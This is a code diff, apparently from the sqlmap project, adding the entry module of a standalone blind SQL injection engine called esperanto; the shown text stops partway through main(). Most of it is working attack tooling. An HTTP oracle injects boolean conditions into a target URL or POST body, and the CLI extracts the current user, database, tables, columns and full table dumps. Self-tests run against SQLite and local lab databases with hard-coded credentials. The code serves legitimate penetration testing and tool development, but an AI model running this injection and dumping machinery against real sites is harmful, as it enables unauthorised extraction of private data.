+from .engine import hostExtract
+from .handler import buildHandler
+from .records import Cap, ExtractResult, BulkResult, Dialect, InferenceStrategy, Integrity
+from .records import OracleUndecided, QueryBudgetExceeded
+
+__all__ = ["Esperanto", "hostExtract", "buildHandler", "Cap", "ExtractResult", "BulkResult", "Dialect", "InferenceStrategy", "Integrity", "OracleUndecided", "QueryBudgetExceeded", "__version__"]

extra/esperanto/__main__.py

@@ -0,0 +1,755 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+from . import __version__
+from .atlas import _REPL
+from .engine import Esperanto, hostExtract
+from .records import (
+    OracleUndecided, ExtractResult, QueryBudgetExceeded)
+
+_SITE = "https://sqlmap.org"
+
+# ratio-mode confidence margin: if the true/false similarity scores are within this of each
+# other the page can't be classified, so the oracle returns UNDECIDED rather than guessing.
+_RATIO_MARGIN = 0.05
+
+
+def _sqliteOracle(block=None):
+    """In-memory SQLite boolean oracle for the self-test (DBMS hidden from prober).
+    `block` is a regex of constructs to refuse, used to force fallback modes."""
+    import re as _re
+    import sqlite3
+    con = sqlite3.connect(":memory:")
+    con.execute("CREATE TABLE users (id INTEGER, name TEXT)")
+    con.execute("INSERT INTO users VALUES (1, 'Admin-42')")
+    con.commit()
+    pat = _re.compile(block) if block else None
+
+    def oracle(condition):
+        if pat and pat.search(condition):
+            return False
+        try:
+            cur = con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % condition)
+            return cur.fetchone()[0] == 1
+        except sqlite3.DatabaseError:
+            # unsupported/rejected SQL is a valid negative capability result; only
+            # transport/observation failures are allowed to raise (oracle contract)
+            return False
+
+    return oracle
+
+
+def _selftest():
+    # exercise every compare mode against one byte-ordered, case-sensitive backend
+    # (SQLite) by selectively refusing constructs - proves each extraction path
+    code = r"\b(ASCII|UNICODE|ORD|CODEPOINT|ASCII_VAL|ASCW|UNICODE_CODE|TO_CODE_POINTS)\("
+    coll = r"COLLATE|\bBINARY\s*\(|AS\s+(BLOB|bytea|VARBINARY|RAW)|NLSSORT|UTL_RAW"
+    hexb = r"\bHEX\(|RAWTOHEX|ENCODE\(|BINTOHEX|HEX_ENCODE|TO_HEX|BINTOSTR"
+    modes = (
+        ("code",      None),
+        ("collation", r"(?i)(%s)" % code),
+        ("hex",       r"(?i)(%s|%s)" % (code, coll)),
+        ("ordinal",   r"(?i)(%s|%s|%s)" % (code, coll, hexb)),
+    )
+    for expected, block in modes:
+        esp = Esperanto(_sqliteOracle(block=block))
+        dialect = esp.discover()
+        got = esp.extract("(SELECT name FROM users WHERE id=1)")
+        assert dialect.compare == expected, "expected %s mode, got %s" % (expected, dialect.compare)
+        assert got == "Admin-42", "%s-mode extraction failed: %r" % (expected, got)
+        print("  %-8s mode: %-52r -> extracted %r in %d queries" % (
+            expected, dialect, got, esp.queryCount))
+    # equality mode exercised directly (charset scan)
+    esp = Esperanto(_sqliteOracle())
+    esp.discover()
+    esp.dialect.compare = "equality"
+    assert esp.extract("(SELECT name FROM users WHERE id=1)") == "Admin-42"
+    print("  equality mode: charset-scan extraction -> OK")
+
+    # the detective: name the backend blind
+    esp = Esperanto(_sqliteOracle())
+    esp.discover()
+    verdict = esp.identify()
+    assert verdict["product"] == "SQLite", "identify failed: %r" % verdict
+    print("  identify: product=%(product)r version=%(version)r dual=%(dual)s" % verdict)
+
+    # bytes-first extraction: byte-exact, encoding chosen by the caller
+    esp = Esperanto(_sqliteOracle())
+    esp.discover()
+    mb = "('A' || CHAR(233) || CHAR(8364))"       # 'A' + U+00E9 + U+20AC, built via ASCII SQL (py2/py3-safe, no non-ASCII source)
+    raw = esp.extractBytes(mb)
+    assert raw == u"A\xe9\u20ac".encode("utf-8"), "extractBytes: %r" % raw
+    assert esp.extractText(mb) == u"A\xe9\u20ac"
+    print("  extractBytes: %r  extractText: %r" % (raw, esp.extractText(mb)))
+
+    # quorum: a noisy oracle that flips/errors a minority of probes must not corrupt.
+    # tested across several seeds so the pass doesn't hinge on one lucky sequence.
+    import random as _random
+    for seed in (1234, 7, 99, 2026):
+        base = _sqliteOracle()
+        rng = _random.Random(seed)
+
+        def noisy(cond, _b=base, _r=rng):
+            roll = _r.random()
+            if roll < 0.12:
+                raise RuntimeError("transient")         # 12% errors (resampled)
+            if roll < 0.20:
+                return not _b(cond)                     # 8% lies
+            return _b(cond)
+
+        esp = Esperanto(noisy, quorum=6)
+        esp.discover()
+        got = esp.extract("(SELECT name FROM users WHERE id=1)")
+        assert got == "Admin-42", "quorum extraction (seed %d) failed: %r" % (seed, got)
+    print("  quorum=6 under 20% noisy oracle (12% err + 8% lies) -> 'Admin-42' across 4 seeds")
+
+    # -- integrity guards (peer-review round 4) --------------------------------
+    # empty/NULL are falsey; a bounded prefix (incl. limit=0) is incomplete+truncated
+    assert not ExtractResult("") and not ExtractResult(None)
+    esp = Esperanto(_sqliteOracle())
+    esp.discover()
+    zero = esp.extractResult("'abc'", limit=0)
+    assert zero.value == "" and zero.truncated and not zero.complete, "limit=0: %r" % zero
+    # an invalid expression must NOT masquerade as a complete SQL NULL
+    bad = esp.extractResult("NO_SUCH_FN(1)")
+    assert bad.value is None and not bad.is_null and not bad.complete and bad.warnings, "invalid->NULL: %r" % bad
+    # integer extraction must raise, not saturate
+    try:
+        esp.extractInteger("100", maximum=10)
+        assert False, "extractInteger saturated silently"
+    except OverflowError:
+        pass
+    # an unobservable oracle must FAIL CLOSED, never silently 'succeed'. two guarantees:
+    # (a) discovery aborts (a broken oracle can't manufacture a working dialect); while
+    #     probing candidate rungs an unobservable probe reads False, so sanity fails ->
+    #     RuntimeError, never a bogus discovered dialect
+    try:
+        Esperanto((lambda c: (_ for _ in ()).throw(RuntimeError("down")))).discover()
+        assert False, "broken oracle silently discovered a dialect"
+    except RuntimeError:
+        pass
+    # (b) a DATA READ never manufactures False from an unobservable probe: it raises
+    #     OracleUndecided (the whole point - a flaky read must not corrupt a bit)
+    esp = Esperanto(_sqliteOracle())
+    esp.discover()
+    esp.oracle = lambda c: (_ for _ in ()).throw(RuntimeError("down"))   # break it post-discovery
+    try:
+        esp.extract("(SELECT MAX(name) FROM users)")
+        assert False, "undecided oracle silently became data"
+    except OracleUndecided:
+        pass
+    # embedded/leading NUL must not truncate (whole-value verification recovers it)
+    import sqlite3
+    con = sqlite3.connect(":memory:")
+    con.execute("CREATE TABLE t (a TEXT)")
+    con.execute("INSERT INTO t VALUES (?)", ("A\x00B",))
+    con.commit()
+
+    def nulOracle(cond):
+        try:
+            return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
+        except sqlite3.DatabaseError:
+            return False
+    esp = Esperanto(nulOracle)
+    esp.discover()
+    nul = esp.extractResult("(SELECT a FROM t)")
+    assert nul.value == "A\x00B" and nul.complete, "embedded NUL: %r" % nul
+
+    # -- round-5 adversarial regressions --------------------------------------
+    esp = Esperanto(_sqliteOracle(), maxlen=0)
+    esp.discover()
+    z = esp.extractResult("'abc'")
+    assert z.value == "" and z.truncated and not z.complete, "maxlen=0: %r" % z
+    esp = Esperanto(_sqliteOracle())
+    esp.discover()
+    for bad in (("-100", 10), ("100", 10)):     # symmetric integer cap
+        try:
+            esp.extractInteger(bad[0], maximum=bad[1])
+            assert False, "int cap not enforced for %s" % bad[0]
+        except OverflowError:
+            pass
+    try:                                        # None observation -> undecided
+        Esperanto(lambda c: None, retries=0)._ask("1=1")
+        assert False, "None became False"
+    except OracleUndecided:
+        pass
+    try:                                        # hard query budget
+        Esperanto(_sqliteOracle(), max_queries=0)._ask("1=1")
+        assert False, "budget not enforced"
+    except QueryBudgetExceeded:
+        pass
+    esp = Esperanto(_sqliteOracle())           # ordered PoC refused in equality mode
+    esp.discover()
+    esp.dialect.compare = "equality"
+    try:
+        esp.poc("'A'")
+        assert False, "equality-mode PoC fabricated ordering"
+    except RuntimeError:
+        pass
+    # a UTF-16 code-unit fn returning an isolated surrogate must not be "complete"
+    con = sqlite3.connect(":memory:")
+    con.execute("CREATE TABLE s (v TEXT)")
+    con.execute(u"INSERT INTO s VALUES ('\U0001F642')")
+    con.create_function("ASCII", 1, lambda x: None if not x else (
+        ord(x[0]) if ord(x[0]) <= 0xFFFF else 0xD800 + ((ord(x[0]) - 0x10000) >> 10)))
+    con.commit()
+    nohex = __import__("re").compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|BINTOHEX|HEX_ENCODE|TO_HEX|BINTOSTR")
+
+    def surOracle(cond):
+        if nohex.search(cond):
+            return False
+        try:
+            return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
+        except sqlite3.DatabaseError:
+            return False
+    esp = Esperanto(surOracle)
+    esp.discover()
+    sur = esp.extractResult("(SELECT v FROM s)")
+    assert sur.value == _REPL and not sur.complete, "isolated surrogate accepted: %r" % sur
+
+    print("  integrity: fail-closed + NULL/empty + limit0 + int-cap + budget + surrogate + PoC -> guarded")
+
+    # -- InferenceStrategy: the frozen hand-off is a *sufficient* host interface --
+    oracle = _sqliteOracle()
+    esp = Esperanto(oracle)
+    esp.discover()
+    strat = esp.strategy()
+    try:                                            # immutable
+        strat.compare_mode = "x"
+        assert False, "strategy is not frozen"
+    except AttributeError:
+        pass
+    # extract using ONLY the strategy + oracle (no Esperanto retrieval code)
+    got = hostExtract(oracle, strat, "(SELECT name FROM users WHERE id=1)")
+    assert got.value == "Admin-42" and got.exact, "hostExtract via strategy failed: %r" % got
+    row = strat.asQueriesRow()
+    assert row["substring"] and row["length"] and row["inference"], "queries-row incomplete: %r" % row
+    print("  strategy: frozen + hostExtract('%s')=%r (exact) + queries.xml row rendered" % (strat.compare_mode, got.value))
+    print("SELF-TEST PASSED (all compare modes + identify + bytes + quorum + integrity + strategy)")
+
+
+def _livetest(only=None, waf=False):
+    """Live blind validation against real DBMS instances (dev harness, '--live').
+    Each backend is handed ONLY a boolean oracle - dialect-mismatch errors read as
+    False, the transaction rolled back per probe - and is never told which engine it
+    is poking. Requires the driver + a reachable instance; skips what it can't reach."""
+    import re as _re
+    SECRET = "Zagreb-Ka5tel"
+    block = _re.compile(r"(?i)\b(ASCII|UNICODE|ORD|CODEPOINT|ASCII_VAL|ASCW|UNICODE_CODE|CODE)\s*\(") if waf else None
+
+    def cursor(con, wrap):
+        def ask(cond):
+            if block and block.search(cond):
+                return False
+            cur = con.cursor()
+            try:
+                cur.execute(wrap % cond)
+                row = cur.fetchone()
+                return bool(row) and int(row[0]) == 1
+            except Exception:
+                try:
+                    con.rollback()
+                except Exception:
+                    pass
+                return False
+            finally:
+                try:
+                    cur.close()
+                except Exception:
+                    pass
+        return ask
+
+    def prep(con, ddl):
+        cur = con.cursor()
+        for stmt in ddl:
+            try:
+                cur.execute(stmt)
+            except Exception:
+                if hasattr(con, "rollback"):
+                    con.rollback()
+        con.commit()
+        cur.close()
+
+    def sqlite():
+        import sqlite3
+        con = sqlite3.connect(":memory:")
+        prep(con, ("CREATE TABLE esp_probe (name TEXT)", "INSERT INTO esp_probe VALUES ('%s')" % SECRET))
+        return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END")
+
+    def mysql():
+        import pymysql
+        con = pymysql.connect(host="127.0.0.1", port=13306, user="root", password="root", database="lab")
+        prep(con, ("DROP TABLE IF EXISTS esp_probe", "CREATE TABLE esp_probe (name VARCHAR(64))",
+                   "INSERT INTO esp_probe VALUES ('%s')" % SECRET))
+        return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END")
+
+    def postgres():
+        import psycopg2
+        con = psycopg2.connect(host="127.0.0.1", port=15432, user="esp", password="pass", dbname="espdb")
+        prep(con, ("DROP TABLE IF EXISTS esp_probe", "CREATE TABLE esp_probe (name VARCHAR(64))",
+                   "INSERT INTO esp_probe VALUES ('%s')" % SECRET))
+        return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END")
+
+    def oracle():
+        import oracledb
+        con = oracledb.connect(user="appu", password="appu", dsn="127.0.0.1:1521/FREEPDB1")
+        prep(con, ("BEGIN EXECUTE IMMEDIATE 'DROP TABLE esp_probe'; EXCEPTION WHEN OTHERS THEN NULL; END;",
+                   "CREATE TABLE esp_probe (name VARCHAR2(64))", "INSERT INTO esp_probe VALUES ('%s')" % SECRET))
+        return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END FROM DUAL")
+
+    def mssql():
+        import pymssql
+        con = pymssql.connect(server="127.0.0.1", port="11433", user="sa", password="Esp_pass123", database="master")
+        prep(con, ("IF OBJECT_ID('esp_probe') IS NOT NULL DROP TABLE esp_probe",
+                   "CREATE TABLE esp_probe (name VARCHAR(64))", "INSERT INTO esp_probe VALUES ('%s')" % SECRET))
+        return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END")
+
+    ok = True
+    for name, factory in (("SQLite", sqlite), ("MySQL", mysql), ("PostgreSQL", postgres),
+                          ("Oracle", oracle), ("MSSQL", mssql)):
+        if only and name.lower() not in only:
+            continue
+        try:
+            oracle_fn = factory()
+        except Exception as ex:
+            print("  %-12s SKIP (%s)" % (name, ex))
+            continue
+        esp = Esperanto(oracle_fn)
+        try:
+            esp.discover()
+            got = esp.extract("(SELECT MAX(name) FROM esp_probe)")
+            product = esp.identify()["product"]
+        except Exception as ex:
+            print("  %-12s FAIL (%s)" % (name, ex))
+            ok = False
+            continue
+        passed = got == SECRET
+        ok = ok and passed
+        print("  %-12s %s  product=%-12r secret=%r%s" % (
+            name, "PASS" if passed else "FAIL", product, got, "  [WAF]" if waf else ""))
+    return ok
+
+
+def _httpOracle(url, data=None, cookie=None, headers=None, string=None, code=None):
+    """A boolean oracle over a real HTTP target, for standalone use. The condition is
+    substituted at the injection marker: '[INFERENCE]' is replaced verbatim (you supply
+    the context, e.g. `id=1 AND [INFERENCE]`), else a single '*' is replaced with
+    ` AND (<condition>)`.
+
+    True/false is decided by a reduced port of sqlmap's response differentiation - the
+    Pareto 80%: explicit --string/--code win; otherwise it CALIBRATES from
+    two true (1=1) baselines + one false (1=2) and auto-picks the cheapest reliable
+    signal - HTTP status code, else a stable text line present in true but not false,
+    else a difflib similarity ratio. Two noise-killers borrowed from sqlmap make it
+    robust: DYNAMIC content (lines that differ between two identical true requests, e.g.
+    timestamps/CSRF/nonces) is stripped, and the REFLECTED injected condition is removed
+    from the body so it can't skew the match (sqlmap's "reflective values ... filtering
+    out"). Not a replacement for checkBooleanExpression - just its high-value core."""
+    import difflib
+    try:                                                    # py3
+        from urllib.parse import quote as _quote, urlsplit
+        from http.client import HTTPConnection, HTTPSConnection
+    except ImportError:                                     # py2
+        from urllib import quote as _quote
+        from urlparse import urlsplit
+        from httplib import HTTPConnection, HTTPSConnection
+
+    if "[INFERENCE]" not in (url + (data or "")) and "*" not in (url + (data or "")):
+        url = url + "*"                     # no marker given -> inject at the end of the URL by default
+        print("[i] no injection marker ('*' or '[INFERENCE]') given; defaulting to end of URL: %s" % url)
+
+    # ONE kept-alive connection reused across every probe. a blind dump is thousands of
+    # requests; opening a fresh TCP+TLS handshake per probe (what urlopen does) is ~0.2s of
+    # pure handshake that dwarfs the request itself - reuse drops per-probe latency ~5-10x.
+    _conn = {"c": None, "key": None}
+
+    def _fresh(scheme, netloc):
+        return (HTTPSConnection if scheme == "https" else HTTPConnection)(netloc, timeout=30)
+
+    def fetch(cond):
+        # encode the INJECTED fragment fully and splice it into the (already-encoded) URL, so a
+        # '&' or '%' produced by the SQL (Access '&' concat, LIKE '%') becomes %26/%25 inside the
+        # parameter VALUE - it can't turn into a new HTTP parameter separator or a stray escape.
+        if "[INFERENCE]" in (url + (data or "")):           # verbatim marker (caller owns context)
+            payload = _quote(cond, safe="")
+            u_raw = url.replace("[INFERENCE]", payload)
+            d_raw = data.replace("[INFERENCE]", payload) if data else data
+        else:                                               # '*' -> boolean AND at the mark
+            ins = _quote(" AND (%s)" % cond, safe="")
+            u_raw = url.replace("*", ins, 1) if "*" in url else url
+            d_raw = data.replace("*", ins, 1) if (data and "*" in data) else data
+        parts = urlsplit(u_raw)                             # the surrounding URL is already user-encoded
+        path = parts.path or "/"
+        if parts.query:
+            path += "?" + parts.query
+        body = d_raw.encode("utf-8") if d_raw else None
+        method = "POST" if body else "GET"
+        hdrs = {"User-Agent": "esperanto", "Connection": "keep-alive"}
+        if body:
+            hdrs["Content-Type"] = "application/x-www-form-urlencoded"
+        if cookie:
+            hdrs["Cookie"] = cookie
+        for h in (headers or []):
+            k, _, v = h.partition(":")
+            hdrs[k.strip()] = v.strip()
+        key = (parts.scheme, parts.netloc)
+        for attempt in (1, 2):                              # reuse the socket; reconnect once if it dropped
+            if _conn["c"] is None or _conn["key"] != key:
+                if _conn["c"] is not None:
+                    try:
+                        _conn["c"].close()
+                    except Exception:
+                        pass
+                _conn["c"], _conn["key"] = _fresh(parts.scheme, parts.netloc), key
+            try:
+                _conn["c"].request(method, path, body, hdrs)
+                resp = _conn["c"].getresponse()             # http.client returns 4xx/5xx too (no raise)
+                raw, status = resp.read(), resp.status      # read fully so the socket stays reusable
+                return raw.decode("utf-8", "replace"), status
+            except Exception:
+                try:
+                    _conn["c"].close()
+                except Exception:
+                    pass
+                _conn["c"] = None                           # force a reconnect on the retry
+        return None, None                                   # transport FAILED -> undecided, NOT ("",0)
+                                                            # (an empty body must never look like a False page)
+
+    dyn = set()
+
+    def _deReflect(body, cond):
+        return body.replace(cond, "") if cond else body     # drop the reflected payload
+
+    def _clean(body, cond):
+        body = _deReflect(body, cond)
+        return "\n".join(ln for ln in body.split("\n") if ln not in dyn) if dyn else body
+
+    mode, wanted, base = None, None, {}
+    if string is not None:
+        mode = "string"
+    elif code is not None:
+        mode, wanted = "code", int(code)
+    else:                                                   # auto-calibrate
+        (t1, s1), (t2, s2), (f1, sf) = fetch("1=1"), fetch("1=1"), fetch("1=2")
+        if t1 is None or t2 is None or f1 is None:
+            raise SystemExit("[!] cannot calibrate oracle: transport failed on a control request")
+        dyn = set(t1.split("\n")) ^ set(t2.split("\n"))     # varies between identical requests -> dynamic
+        tc, fc = _clean(t1, "1=1"), _clean(f1, "1=2")
+        if s1 == s2 and s1 != sf:                           # (1) HTTP status alone separates true/false
+            mode, wanted = "code", s1
+        else:
+            # (2) a SHORT distinctive true-only marker: the longest contiguous chunk that is
+            # in the true page but not the false one, capped to a "longish" string (never the
+            # whole document) and verified stable across BOTH true baselines
+            t2c = _clean(t2, "1=1")
+            blocks = difflib.SequenceMatcher(None, fc, tc, autojunk=False).get_opcodes()
+            chunks = sorted((tc[b1:b2].strip() for op, _a1, _a2, b1, b2 in blocks
+                             if op in ("insert", "replace")), key=len, reverse=True)
+            wanted = None
+            for chunk in chunks:
+                marker = chunk[:64]                         # bounded, distinctive marker
+                if len(marker) >= 6 and marker in t2c and marker not in fc:
+                    mode, wanted = "autostring", marker
+                    break
+            if wanted is None:                              # (3) similarity ratio floor
+                mode, base = "ratio", {"t": tc, "f": fc}
+    if string is None:
+        print("[i] calibrated oracle: %s%s" % (mode, (" (%r)" % wanted) if mode in ("code", "autostring") else ""))
+
+    def classify(cond):
+        body, status = fetch(cond)
+        if body is None:                                    # transport failure -> UNDECIDED (tri-state):
+            return None                                     # let the engine retry/degrade, never a fake bool
+        if mode == "string":
+            return string in body
+        if mode == "code":
+            return status == wanted
+        if mode == "autostring":
+            return wanted in _clean(body, cond)
+        c = _clean(body, cond)
+        st = difflib.SequenceMatcher(None, c, base["t"]).quick_ratio()
+        sf = difflib.SequenceMatcher(None, c, base["f"]).quick_ratio()
+        if abs(st - sf) < _RATIO_MARGIN:                    # too close to call -> undecided, not a coin-flip
+            return None
+        return st > sf
+
+    state = {"n": 0, "dead": False}
+
+    def oracle(cond):
+        # PERIODIC control revalidation: over thousands of requests the baseline can drift
+        # (auth expiry, rate-limit page, CDN challenge, redeploy, marker swap). Every 256 probes
+        # re-run the known controls; if 1=1/1=2 stop separating, SUSPEND (return undecided) rather
+        # than keep feeding a broken model into bisection.
+        state["n"] += 1
+        if state["n"] % 256 == 0 or state["dead"]:
+            t, f = classify("1=1"), classify("1=2")
+            state["dead"] = not (t is True and f is False)
+            if state["dead"]:
+                print("[!] oracle controls no longer separate (1=1=%r, 1=2=%r) - suspending" % (t, f))
+                return None
+        return classify(cond)
+
+    return oracle
+
+
+def _safeterm(s):
+    """Neutralize control/escape bytes in DB content before it reaches the terminal - stored
+    values can carry ANSI cursor/title/OSC sequences, embedded newlines or fake log prefixes
+    that would otherwise manipulate or forge the operator's console."""
+    if s is None:
+        return s
+    # escape C0 (< 0x20), DEL (0x7f) AND C1 (0x80-0x9f) controls - a bare 0x9b is an ANSI CSI
+    # introducer, so leaving the C1 range through would still let stored content drive the terminal
+    return "".join(c if (u" " <= c < u"\x7f") or c > u"\x9f" else "\\x%02x" % ord(c) for c in s)
+
+
+def _printTable(columns, rows):
+    """Render a bordered, column-aligned table (sqlmap-style) instead of raw ' | ' joins."""
+    cells = [["NULL" if v is None else _safeterm(v) for v in row] for row in rows]
+    widths = [max([len(columns[i])] + [len(r[i]) for r in cells]) for i in range(len(columns))]
+    bar = "+" + "+".join("-" * (w + 2) for w in widths) + "+"
+    line = lambda vals: "| " + " | ".join(v.ljust(widths[i]) for i, v in enumerate(vals)) + " |"
+    print(bar)
+    print(line(columns))
+    print(bar)
+    for r in cells:
+        print(line(r))
+    print(bar)
+
+
+import binascii as _binascii
+_HEX = set("0123456789abcdefABCDEF")
+
+
+def _previewFramed(partial):
+    """A hex-framed row payload decoded into the value AS IT ARRIVES - including the in-progress
+    token's completed bytes - so the live line grows CHARACTER BY CHARACTER, like sqlmap. Handles
+    BOTH grammars: length-framed `V<len>:<hex>;` / `N;` and the legacy `V<hex>` / `N` (','-sep).
+    Returns None when `partial` isn't a framed payload."""
+    if not partial or partial[0] not in "NV" or any(c not in _HEX and c not in ",:;NV" for c in partial):
+        return None
+
+    def _dec(h):
+        h = h[:len(h) - (len(h) % 2)]               # only WHOLE bytes so far
+        try:
+            return _binascii.unhexlify(h).decode("utf-8", "replace")
+        except Exception:
+            return "?"
+
+    out = []
+    if ";" in partial or ":" in partial:            # length-framed grammar: V<len>:<hex>; / N;
+        for t in partial.split(";"):
+            if not t:
+                continue
+            if t == "N":
+                out.append("NULL")
+            elif t.startswith("V"):
+                _lp, _sep, hx = t[1:].partition(":")
+                out.append(_dec(hx))
+        return ", ".join(out)
+    for t in partial.split(","):                    # legacy grammar
+        if t == "N":
+            out.append("NULL")
+        elif t.startswith("V"):
+            out.append(_dec(t[1:]))
+    return ", ".join(out)
+
+
+def _scalar(esp, expr):
+    """A user-facing scalar that DISPLAYS its integrity instead of erasing it: an inexact
+    (truncated / case-ambiguous / unverified) value is shown with its status, never as if exact."""
+    r = esp.extractResult(expr)
+    if r.value is None:
+        return "NULL" if r.is_null else "n/a (unresolved)"
+    return _safeterm(r.value) if r.exact else "%s   [%s]" % (_safeterm(r.value), r.integrity)
+
+
+def _report(esp, args):
+    """Run the requested action(s) against a discovered target and print the results."""
+    print("[*] dialect: %r" % esp.dialect)
+    verdict = esp.identify()
+    print("[*] back-end: %s %s" % (verdict.get("product") or "unknown", verdict.get("version") or ""))
+    # scope schema/db lookups to -D, else the current database (and, for a specific table,
+    # the schema it actually lives in) - WITHOUT this a table that ALSO exists in a system
+    # schema (e.g. MySQL's mysql/information_schema 'users') merges columns and yields a
+    # garbage 0-row dump. mirrors the sqlmap handler's _scopeFor.
+    scope = args.db
+    if scope is None and (args.tables or args.columns or args.dump):
+        dbexpr = esp.dialect.identity.get("database")
+        try:
+            r = esp.extractResult(dbexpr) if dbexpr else None
+            # the scope name becomes a keyset bound / schema qualifier - a case/accent-ambiguous
+            # spelling would mis-target (merge a system-schema table, yield a 0-row dump), so
+            # require a byte-exact read, exactly as the sqlmap handler's _safeExtract does.
+            cur = r.value if (r and r.exact) else None
+            if r and r.value and not r.exact:
+                print("[!] scope database name not byte-exact (%s) - not scoping" % r.integrity)
+        except Exception:
+            cur = None
+        if args.tbl and (args.columns or args.dump):
+            try:
+                scope = cur if (cur and esp.hasTable(args.tbl, cur)) else (esp.tableSchema(args.tbl) or cur)
+            except Exception:
+                scope = cur
+        else:
+            scope = cur
+        if scope:
+            print("[i] scoping to database/schema: %s" % scope)
+    if args.current_user:
+        expr = esp.dialect.identity.get("user")
+        print("[*] current user: %s" % (_scalar(esp, expr) if expr else "n/a"))
+    if args.current_db:
+        expr = esp.dialect.identity.get("database")
+        print("[*] current database: %s" % (_scalar(esp, expr) if expr else "n/a"))
+    if args.tables:
+        print("[i] fetching tables ...")
+        print("[*] tables: %s" % ", ".join(esp.enumerate("table", schema=scope) or ["<none>"]))
+    if args.columns:
+        if not args.tbl:
+            print("[!] --columns needs -T <table>")
+        else:
+            print("[i] fetching columns for '%s' ..." % args.tbl)
+            print("[*] columns of %s: %s" % (args.tbl, ", ".join(esp.columns(args.tbl, schema=scope) or ["<none>"])))
+    if args.dump:
+        if not args.tbl:
+            print("[!] --dump needs -T <table>")
+        else:
+            cols = [c.strip() for c in args.col.split(",")] if args.col else None
+            if cols is None:                    # enumerate columns FIRST (own phase), so the
+                print("[i] fetching columns for table '%s' ..." % args.tbl)   # 'entries' phase below streams ROWS, not column names
+                cols = esp.columns(args.tbl, schema=scope) or None
+            print("[i] fetching entries for table '%s' ..." % args.tbl)
+            # NO silent internal cap: dump ALL rows (bounded by the live COUNT) and always
+            # print whether the result came back complete.
+            try:
+                limit = esp.extractInteger("(SELECT COUNT(*) FROM %s)" % esp.qualify(args.tbl, scope)) or 10
+            except Exception:
+                limit = 1 << 30
+            result = esp.dump(args.tbl, columns=cols, schema=scope, limit=limit)
+            if not result or not result["columns"]:
+                print("[!] could not dump %s" % args.tbl)
+            else:
+                tag = "" if result["complete"] else " - INCOMPLETE (%s)" % (result.get("keyed_by") or "best-effort")
+                if not result.get("exact", True):    # coverage complete but content collation-dependent
+                    tag += " - INEXACT (case/accents may differ)"
+                print("[*] Table: %s (%d entries%s)" % (args.tbl, len(result["rows"]), tag))
+                _printTable(result["columns"], result["rows"])
+
+
+def _banner():
+    # modest CLI identity, sqlmap-styled: a small globe (DBMS-agnostic/universal) + the Esperanto
+    # green star. Colored only on a TTY; pure-ASCII (no coding header on this file); text columns
+    # aligned at a fixed offset so the escape codes (zero display width) don't skew them.
+    import sys as _sys
+    tty = _sys.stdout.isatty()
+    G = "\033[0;32m" if tty else ""       # esperanto green (the globe)
+    S = "\033[1;32m" if tty else ""       # bright green (the star)
+    W = "\033[1;37m" if tty else ""       # bold white (the name)
+    U = "\033[4;37m" if tty else ""       # underline (the site)
+    R = "\033[0m" if tty else ""
+    return (
+        "     %(G)s___%(R)s\n"
+        "    %(G)s/ _ \\%(R)s    %(W)sesperanto%(R)s {%(ver)s}\n"
+        "   %(G)s| (_) |%(R)s\n"
+        "    %(G)s\\___/ %(S)s*%(R)s  %(U)s%(site)s%(R)s\n"
+    ) % dict(G=G, S=S, W=W, U=U, R=R, ver=__version__, site=_SITE)
+
+
+def main(argv=None):
+    """Standalone entry point: drive the engine against a live HTTP target."""
+    import argparse
+
+    class _Formatter(argparse.HelpFormatter):
+        # show the metavar ONCE ('-H, --header HEADER', not '-H HEADER, --header HEADER'),
+        # like sqlmap's own help, so option/help stays on a single line
+        def __init__(self, prog):
+            argparse.HelpFormatter.__init__(self, prog, max_help_position=28)
+
+        def _format_action_invocation(self, action):
+            if not action.option_strings or action.nargs == 0:
+                return ", ".join(action.option_strings) or argparse.HelpFormatter._format_action_invocation(self, action)
+            metavar = self._format_args(action, action.dest.upper())    # py2/py3-portable default metavar
+            return "%s %s" % (", ".join(action.option_strings), metavar)
+
+    parser = argparse.ArgumentParser(
+        prog="esperanto", formatter_class=_Formatter,
+        usage="esperanto -u URL [options]",     # short synopsis, not an auto-listing of every flag
+        description="DBMS-agnostic blind-SQLi enumeration engine (standalone)")
+    parser.add_argument("--version", action="version", version="esperanto %s (%s)" % (__version__, _SITE))
+    parser.add_argument("-u", "--url", help="target URL (with a '*'/'[INFERENCE]' marker)")
+    parser.add_argument("--data", help="POST data string")
+    parser.add_argument("--cookie", help="HTTP Cookie header")
+    parser.add_argument("-H", "--header", action="append", help="extra HTTP header (repeatable)")
+    parser.add_argument("--string", help="match string for a True response")
+    parser.add_argument("--code", type=int, help="HTTP code for a True response")
+    parser.add_argument("--banner", action="store_true", help="retrieve DBMS banner")
+    parser.add_argument("--current-user", action="store_true", dest="current_user", help="retrieve current user")
+    parser.add_argument("--current-db", action="store_true", dest="current_db", help="retrieve current database")
+    parser.add_argument("--tables", action="store_true", help="enumerate tables")
+    parser.add_argument("--columns", action="store_true", help="enumerate table columns (needs -T)")
+    parser.add_argument("--dump", action="store_true", help="dump table entries (needs -T)")
+    parser.add_argument("-D", dest="db", help="database/schema to enumerate")
+    parser.add_argument("-T", dest="tbl", help="table to enumerate")
+    parser.add_argument("-C", dest="col", help="columns to dump (comma-separated)")
+    # internal dev/test harness switches - functional but hidden from --help (--live drives the
+    # local-Docker DBMS livetest; --waf is a livetest-only fault-injection mode, NOT a real WAF bypass)
+    parser.add_argument("--live", action="store_true", help=argparse.SUPPRESS)
+    parser.add_argument("--waf", action="store_true", help=argparse.SUPPRESS)
+    parser.add_argument("--self-test", action="store_true", dest="selftest", help=argparse.SUPPRESS)
+    args, engines = parser.parse_known_args(argv)
+
+    if args.live:
+        names = [a.lower() for a in engines if not a.startswith("-")]
+        return 0 if _livetest(only=names or None, waf=args.waf) else 1
+    if args.selftest:                       # self-test only on EXPLICIT request
+        _selftest()
+        return 0
+    print(_banner())                        # CLI identity (after the dev-harness paths above)
